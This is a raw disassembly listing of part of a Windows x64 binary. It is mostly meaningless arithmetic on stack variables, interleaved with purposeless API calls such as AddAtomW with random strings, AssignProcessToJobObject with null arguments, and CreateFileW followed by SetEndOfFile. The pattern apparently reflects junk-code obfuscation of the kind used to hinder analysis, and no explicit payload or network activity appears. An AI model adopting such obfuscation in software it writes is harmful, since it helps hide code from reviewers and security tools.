mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281daa], al
movzx eax, word [rsp + 0x2b38]
movzx ecx, word [rsp + 0x2134]
sub eax, ecx
mov word [rsp + 0x2b40], ax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0xa348]
add eax, 0x15
mov dword [rsp + 0xa348], eax
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa264], eax
movsx eax, byte [rsp + 0x634]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eec1]
add eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b4c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x14088], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14088]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa33c]
movzx ecx, al
mov eax, dword [rsp + 0xa2e4]
shl eax, cl
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x62f], al
movzx eax, word [rsp + 0x2b50]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282690], eax
movzx eax, word [rsp + 0x2b28]
movzx ecx, word [rsp + 0x2134]
add eax, ecx
mov word [rsp + 0x2b40], ax
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x631], al
movsx eax, byte [rsp + 0x634]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
sub eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa22f
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
cmp dword [rsp + 0xa348], 0x385f
jne 0x14001a3a3
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
shl eax, cl
movsx ecx, byte [0x140281da7]
mov dword [rsp + 0xa354], ecx
movsx edx, byte [rsp + 0x632]
movzx ecx, dl
mov edx, dword [rsp + 0xa354]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14001a964
movsx eax, word [rsp + 0x2b34]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x2b24]
movsx edx, word [rsp + 0x1948]
sub ecx, edx
cmp eax, ecx
jne 0x14001a95f
mov rax, qword [rsp + 0x13f70]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0xa250]
movzx edx, byte [rsp + 0x5e9]
movzx ecx, word [rsp + 0x1948]
call fcn.140208d50
jmp 0x14001aa15
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b2c]
xor eax, ecx
movsx ecx, word [rsp + 0x2b34]
movsx edx, word [rsp + 0x2b24]
and ecx, edx
cmp eax, ecx
jne 0x14001aa15
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x2b28]
and eax, ecx
mov word [rsp + 0x2b48], ax
call fcn.140208c60
movzx eax, byte [rsp + 0x631]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [0x14028269c]
sub ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
mov eax, dword [rsp + 0xa2a8]
mov ecx, dword [rsp + 0xa2f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e0], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [rsp + 0x2b2c]
cdq
idiv ecx
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
mov dword [rsp + 0xa358], ecx
movsx edx, word [rsp + 0x1948]
movzx ecx, dl
mov edx, dword [rsp + 0xa358]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140208065
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x632]
and eax, ecx
mov byte [rsp + 0x62e], al
mov rax, qword [0x14028eeb8]
movzx eax, word [rax]
mov word [rsp + 0x2b54], ax
movzx eax, word [rsp + 0x2b4c]
movzx ecx, word [rsp + 0x2b40]
sub eax, ecx
mov word [rsp + 0x2b28], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0xa360], al
cmp byte [rsp + 0xa360], 0
je 0x14001ab3d
cmp byte [rsp + 0xa360], 0x64
je 0x14001ab87
jmp 0x14001abcc
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x635], al
movzx eax, word [rsp + 0x2b50]
movzx ecx, word [rsp + 0x2b4c]
xor eax, ecx
mov word [0x1402826a4], ax
jmp 0x14001abcc
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x976c], eax
mov r9d, dword [rsp + 0x9d94]
mov rax, qword [rsp + 0x13f70]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x13f58]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x1948]
call fcn.140208d50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
mov eax, dword [rsp + 0xa2cc]
movzx ecx, al
mov eax, dword [rsp + 0xa264]
sar eax, cl
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0xa364], al
cmp byte [rsp + 0xa364], 0x2c
je 0x14001ac88
cmp byte [rsp + 0xa364], 0xcc
je 0x14001ac1c
jmp 0x14001ac9d
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14018]
mov qword [rsp + 0x14090], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14090]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa33c], eax
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b4c], ax
jmp 0x14001ac9d
movzx edx, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x275]
call fcn.140208c00
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x633]
add eax, ecx
mov byte [rsp + 0x2d7], al
lea rax, [rsp + 0xa310]
mov qword [rsp + 0x14098], rax
movsx eax, word [rsp + 0x2b54]
mov dword [rsp + 0xa368], eax
cmp dword [rsp + 0xa368], 0x325
je 0x14001ace7
jmp 0x14001ad0b
movzx r8d, word [rsp + 0x1948]
mov edx, dword [rsp + 0xa270]
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rax]
call fcn.140208d00
jmp 0x140207ff7
movzx eax, word [rsp + 0x2b4c]
movzx ecx, word [rsp + 0x2b48]
and eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0xa36c], al
cmp byte [rsp + 0xa36c], 0
je 0x14001ad57
cmp byte [rsp + 0xa36c], 0x7b
je 0x140207e94
jmp 0x140207f3a
mov eax, dword [rsp + 0xa33c]
mov dword [rsp + 0xa370], eax
movzx eax, byte [rsp + 0x631]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b30], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, [0x1402835b8]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x140a0], rax
lea rax, [rsp + 0x1948]
mov qword [rsp + 0x140a8], rax
lea rcx, [rsp + 0x24350]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa29c], eax
lea rax, [rsp + 0x634]
mov qword [rsp + 0x140b0], rax
lea rcx, str.mD1rnZQfq2kl
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e4]
add ecx, eax
mov eax, ecx
mov dword [0x1402826a8], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa340], eax
movzx eax, word [rsp + 0x2b30]
movzx ecx, word [rsp + 0x2b28]
sub eax, ecx
mov word [rsp + 0x157c], ax
movzx eax, byte [0x140281daa]
movzx ecx, byte [rsp + 0x631]
sar eax, cl
mov byte [rsp + 0x285], al
mov eax, dword [rsp + 0xa35c]
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x8e48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9e20], eax
mov eax, dword [rsp + 0xa270]
mov dword [rsp + 0xa378], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [0x14028eec1]
shl eax, cl
mov byte [rsp + 0x635], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [0x14028eeb0], ax
lea rax, [rsp + 0xa370]
mov qword [rsp + 0x140b8], rax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa37c], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa270], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa310]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x634]
add eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x140a8]
movzx eax, word [rax]
mov word [rsp + 0x2b5c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x633]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
add eax, ecx
mov word [0x14028eeb0], ax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa370]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa2e4], eax
mov eax, dword [0x14028eec4]
mov dword [rsp + 0xa380], eax
movzx eax, word [rsp + 0x2134]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x631]
sub eax, ecx
mov byte [rsp + 0x5f5], al
mov eax, dword [rsp + 0xa238]
mov ecx, dword [0x140282690]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa384], eax
mov eax, dword [rsp + 0xa2bc]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x140c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa304], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa338]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
shl eax, cl
mov word [0x140282698], ax
movzx eax, byte [rsp + 0x5f5]
mov byte [rsp + 0x636], al
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa24c], eax
lea rax, [rsp + 0xa2bc]
mov qword [rsp + 0x140c8], rax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
mov rcx, qword [0x14028eeb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b24], ax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [rsp + 0x62]
add eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
and eax, ecx
mov byte [rsp + 0x1aa], al
movzx eax, word [0x14028eeb0]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov word [rsp + 0x157c], ax
mov eax, dword [rsp + 0x84a4]
mov dword [rsp + 0xa388], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826ac], eax
mov rax, qword [rsp + 0x14018]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa35c], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa380]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x976c], eax
lea rax, [rsp + 0x6500]
mov qword [rsp + 0x140d0], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x637], al
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0x976c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x718c], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa2f4]
sar eax, cl
mov dword [0x1402826b0], eax
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13fb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x157c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov byte [rsp + 0x638], al
movsx eax, word [rsp + 0x2b54]
movsx ecx, word [rsp + 0x2b5c]
xor eax, ecx
mov word [rsp + 0x2b34], ax
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x639], al
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9d94]
shl eax, cl
mov dword [rsp + 0x84a4], eax
mov eax, dword [rsp + 0xa2b0]
mov ecx, dword [rsp + 0xa270]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x718c], eax
movzx eax, byte [rsp + 0x4f2]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b38], ax
lea rax, [rsp + 0xa384]
mov qword [0x14028eea8], rax
mov eax, dword [rsp + 0xa2bc]
mov dword [rsp + 0xa38c], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa340], eax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa388]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa33c], eax
movzx eax, byte [rsp + 0x285]
mov byte [rsp + 0x63a], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b4c]
add eax, ecx
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa304], eax
mov rax, qword [0x14028eea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa384]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa2b0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826b4], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7730], eax
movsx eax, word [rsp + 0x2b5c]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1948], ax
movzx eax, byte [rsp + 0x639]
mov byte [rsp + 0x63b], al
movzx eax, byte [rsp + 0x1aa]
movzx ecx, byte [rsp + 0x5f5]
shl eax, cl
mov byte [rsp + 0x5e9], al
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x140d8], rax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x140b8]
mov qword [rsp + 0x140e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
movzx eax, word [rsp + 0x2b30]
mov word [rsp + 0x2b60], ax
movzx eax, byte [rsp + 0x633]
mov byte [0x14028eea0], al
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa388], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x82f8], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa338]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa33c]
mov ecx, dword [0x1402826a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2e4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, [0x140283610]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x140e8], rax
movzx eax, word [rsp + 0x2b60]
mov word [rsp + 0x2b64], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
and eax, ecx
mov byte [rsp + 0x635], al
lea rax, [rsp + 0xa2e0]
mov qword [rsp + 0x140f0], rax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa35c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [0x1402826b8], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2b68], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
add eax, ecx
mov byte [rsp + 0x34e], al
mov eax, dword [rsp + 0xa384]
mov ecx, dword [rsp + 0x6c58]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x925c], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa24c]
shr eax, cl
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0xa374]
mov rcx, qword [rsp + 0x14018]
mov qword [rsp + 0x140f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x140f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov dword [rsp + 0xa394], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
lea rax, [0x1402826a4]
mov qword [rsp + 0x14100], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x638]
and eax, ecx
mov byte [0x140281daa], al
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa384], eax
mov eax, dword [rsp + 0xa264]
mov dword [rsp + 0xa398], eax
mov eax, dword [rsp + 0xa374]
mov ecx, dword [rsp + 0xa2bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa390], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa370], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x631]
add eax, ecx
mov byte [rsp + 0x4d0], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b48]
add eax, ecx
mov word [rsp + 0x2b60], ax
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x140a8]
movzx eax, word [rax]
mov word [rsp + 0x2b6c], ax
lea rcx, str.ZVcam
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x632], al
lea rax, [rsp + 0x9e40]
mov qword [0x14028ee98], rax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x82f8], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x275], al
lea rax, [rsp + 0x7730]
mov qword [rsp + 0x14110], rax
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa370]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x976c], eax
mov rax, qword [rsp + 0x140c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14018]
mov qword [rsp + 0x14118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa304], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa39c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d0]
shl eax, cl
mov byte [rsp + 0x638], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14028eeb0], ax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [0x1402826a8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x820c], eax
mov eax, dword [rsp + 0x8e48]
mov ecx, dword [rsp + 0xa398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa38c], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x14018]
